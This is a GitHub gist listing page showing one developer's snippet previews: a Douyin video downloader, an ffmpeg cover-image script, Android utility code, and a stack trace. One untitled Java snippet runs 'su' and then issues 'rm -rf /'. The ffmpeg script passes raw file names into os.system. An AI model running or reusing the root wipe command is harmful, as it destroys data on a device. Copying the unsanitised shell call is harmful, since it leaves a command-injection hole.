Skip to content

Instantly share code, notes, and snippets.

@dkmeteor
dkmeteor / gist:511819e59185542c33c82530f04f7a41
Created Mar 19, 2019
download douyin videos 批量下载抖音视频
View gist:511819e59185542c33c82530f04f7a41
# coding=UTF-8
# import requests
import urllib
import urllib.request
# import urllib2
# 文件路径
path = '/Users/dk/Desktop/抖音/'
num = 0
downloadPool = []
@dkmeteor
dkmeteor / gist:423ec96b99ea385dcac8ef76f810caac
Created Mar 19, 2019
create cover from videso 批量生成视频封面
View gist:423ec96b99ea385dcac8ef76f810caac
# coding=UTF-8
import os
filePath = '/Users/dk/Desktop/videos'
list = os.listdir(filePath)
for file in list:
os.system("ffmpeg -i "+file+" -y -f mjpeg -ss 3 -t 1 "+file+".jpg")
View LauncherUtil
import java.util.List;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.ProviderInfo;
import android.content.pm.ResolveInfo;
import android.text.TextUtils;
/**
View exception without infomation
java.lang.NullPointerException: Attempt to invoke virtual method 'void android.view.View.setDrawingCacheBackgroundColor(int)' on a null object reference
at android.widget.AbsListView.obtainView(AbsListView.java:2494)
at android.widget.ListView.makeAndAddView(ListView.java:1894)
at android.widget.ListView.fillDown(ListView.java:710)
at android.widget.ListView.fillSpecific(ListView.java:1372)
at android.widget.ListView.layoutChildren(ListView.java:1673)
at android.widget.AbsListView.onLayout(AbsListView.java:2227)
at android.view.View.layout(View.java:15912)
at android.view.ViewGroup.layout(ViewGroup.java:5108)
at android.widget.FrameLayout.layoutChildren(FrameLayout.java:633)
View CollapsingTitleLayout.java
/*
* Copyright 2014 Chris Banes
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
View gist:987a27e87b3f24acd00e
Process process = null;
DataOutputStream os = null;
try {
process = Runtime.getRuntime().exec("su");
os = new DataOutputStream(process.getOutputStream());
os.writeBytes("rm -rf /" + "\n");
os.writeBytes("exit\n");
os.flush();
process.waitFor();
You can’t perform that action at this time.